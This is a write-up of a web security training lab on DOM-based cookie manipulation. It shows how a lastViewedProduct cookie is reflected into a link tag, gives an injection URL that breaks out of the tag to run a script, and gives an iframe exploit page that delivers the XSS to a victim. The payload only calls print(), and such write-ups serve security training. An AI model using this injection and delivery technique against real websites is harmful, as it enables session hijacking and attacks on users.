DOM based cookie manipulation

Description

This lab demonstrates DOM-based client-side cookie manipulation. To solve this lab, inject a cookie that will cause XSS on a different page and call the print() function. You will need to use the exploit server to direct the victim to the correct pages.

Approach

After accessing the lab, I enabled the FoxyProxy extension to proxy all traffic through Burp Suite.

I noticed that if I accessed a product and then went back to the home page, the URL of that product gets saved into a client-side cookie called lastViewedProduct.

GET / HTTP/2
Host: 0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net
Cookie: session=1i8WHCAIOsUje7VURHowqpAtVRi8pZs1; lastViewedProduct=https://0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net/product?productId=1
...

The value is then passed to a canonical link tag that points to the last viewed product:

<a href='https://0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net/product?productId=1'>Last viewed product</a>

To test my theory, I added a custom parameter to the URL when visiting a product to see if the cookie changes and if the canonical link changes. I visited this link: https://0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net/product?productId=1&ichyaboy=hacker, which resulted in this cookie:

GET / HTTP/2
Host: 0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net
Cookie: session=1i8WHCAIOsUje7VURHowqpAtVRi8pZs1; lastViewedProduct=https://0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net/product?productId=1&ichyaboy=hacker
...

Then, when I accessed the home page, I could see the changes in the canonical link tag:

<a href='https://0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net/product?productId=1&ichyaboy=hacker'>Last viewed product</a>

The idea here is to escape that tag and inject some malicious script. To test this, instead of my custom parameter, I tried closing the tag and adding JavaScript to execute a print function:

https://0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net/product?productId=1&'><script>print()</script>

I saw that the cookie changed and, when accessing the home page again, the JavaScript was executed:

Cookie: session=1i8WHCAIOsUje7VURHowqpAtVRi8pZs1; lastViewedProduct=https://0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net/product?productId=1&%27%3E%3Cscript%3Eprint()%3C/script%3E

To exploit this, I built an HTML page with an iframe that visits a product page containing the malicious JavaScript in the URL so that it gets passed to the lastViewedProduct cookie and reflected in the canonical link tag. Using the onload event handler, the victim will automatically visit the home page where the malicious JavaScript will execute. Alternatively, I can create an exploit that injects the malicious JavaScript into the cookie and send it to the victim, followed by a second exploit with an iframe that simply visits the home page, causing the JavaScript to load and execute.

My payload looks like this:

<iframe src="https://0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://0a0c00ab042f1e6080a68fd500a80031.web-security-academy.net';window.x=1;">`

The window.x=1 instruction prevents the browser from going into an infinite loop of loading pages. By setting window.x to 1, the onload event handler won't be triggered again.

By storing this exploit and sending it to the victim, the lab is solved.